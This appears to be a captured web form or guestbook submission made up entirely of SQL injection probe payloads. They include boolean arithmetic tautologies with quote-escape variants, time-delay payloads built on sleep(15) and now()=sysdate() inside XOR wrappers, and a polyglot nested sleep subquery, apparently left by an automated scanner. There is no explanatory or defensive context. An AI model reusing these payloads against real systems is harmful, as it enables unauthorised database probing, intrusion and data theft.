Guest:
1


-1 OR 2+474-474-1=0+0+0+1 --

-1 OR 2+179-179-1=0+0+0+1

-1' OR 2+867-867-1=0+0+0+1 --

-1' OR 2+212-212-1=0+0+0+1 or 'CO4c5OKZ'='

-1" OR 2+391-391-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
1
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
1
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/